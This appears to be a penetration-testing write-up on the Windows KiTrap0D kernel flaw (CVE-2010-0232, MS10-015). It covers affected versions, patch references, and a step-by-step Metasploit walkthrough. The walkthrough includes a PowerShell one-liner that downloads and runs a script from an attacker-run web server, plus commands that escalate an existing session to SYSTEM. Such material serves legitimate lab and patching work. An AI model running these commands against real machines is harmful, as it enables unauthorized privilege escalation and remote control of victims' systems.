The kernel in Microsoft Windows NT 3.1 through Windows 7, including Windows 2000 SP4, Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista Gold, SP1, and SP2, and Windows Server 2008 Gold and SP2, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges by crafting a VDM_TIB data structure in the Thread Environment Block (TEB), and then calling the NtVdmControl function to start the Windows Virtual DOS Machine (aka NTVDM) subsystem, leading to improperly handled exceptions involving the #GP trap handler (nt!KiTrap0D), aka “Windows Kernel Exception Handler Vulnerability.”

Affected Products

  • Microsoft Windows NT 4.0
  • Microsoft Windows 2000 SP4
  • Microsoft Windows XP SP2
  • Microsoft Windows Vista
  • Microsoft Windows Server 2003 SP2
  • Microsoft Windows NT 3.1
  • Microsoft Windows Vista SP1
  • Microsoft Windows XP SP3
  • Microsoft Windows Vista SP2
  • Microsoft Windows 7 x32

Exploitation (Metasploit)

1. Having already a shell, we can use Sherlock script to identify vulnerabilities. First download Sherlock in the local machine and start a web server

  • git clone https://github.com/rasta-mouse/Sherlock.git
  • cd Sherlock
  • python3.9 -m http.server 8888

2. From the remote windows server we can now execute powershell to download & run Sherlock from our webserver

  • powershell “iex(new-object net.webclient).downloadString(‘http://10.10.14.10:8888/Sherlock.ps1’);Find-AllVulns”

3. We can initiate a Metasploit module with the current session. Exit the shell and background the session

  • exit
  • background
  • sessions -i

4. Now search for any post-exploitation module related to 2010-023

  • search cve:2010-0232
  • use exploit/windows/local/ms10_015_kitrap0d
  • show options

5. Now set the payload (I’d use default), LHOST and session and run the exploit

  • set LHOST 10.10.14.10
  • set session 1
  • exploit

6. A new Meterpreter session opens, this time with NT AUTHORITY\SYSTEM privileges

  • shell
  • whoami

Extra

1. Running ‘systeminfo’ from cmd shell, we can see that this server has not been patched, so it may also be vulnerable to other attacks

  • systeminfo

Remedy

Apply the appropriate patch for your system

Hotfixes

WINDOWS-HOTFIX-MS10-015-027ada43-0e8d-422a-b6fe-7e7c486f08f2

WINDOWS-HOTFIX-MS10-015-08f6693e-b805-4694-8366-a7d1002050cb

WINDOWS-HOTFIX-MS10-015-121c8a3f-79d7-4c91-90bd-28a74e32ee06

WINDOWS-HOTFIX-MS10-015-14a6cf0c-991d-4f01-8fda-6414e578e4d0

WINDOWS-HOTFIX-MS10-015-2dab10ae-1996-475f-939a-2f462562b7fe

WINDOWS-HOTFIX-MS10-015-79680e7b-d9f8-4f16-b86d-2f2a9b3fc456

WINDOWS-HOTFIX-MS10-015-8247e7b5-9f96-4602-a86e-9a39de37bfc9

WINDOWS-HOTFIX-MS10-015-933c9070-dc72-4b14-b38a-ed809e5e6425

WINDOWS-HOTFIX-MS10-015-9bca5a73-cc9a-4f6b-a5b4-fd7cb4b3e122

WINDOWS-HOTFIX-MS10-015-a97486fb-73c2-4fb0-83db-eb2e29b5357d

WINDOWS-HOTFIX-MS10-015-adef5e7a-8466-4c06-aa45-10209d3d4fa4

WINDOWS-HOTFIX-MS10-015-bf9107a4-72e2-430b-b3f2-030a9399a9fe

Resources

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-015

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0232

https://www.cvedetails.com/cve/CVE-2010-0232/

https://exchange.xforce.ibmcloud.com/vulnerabilities/55742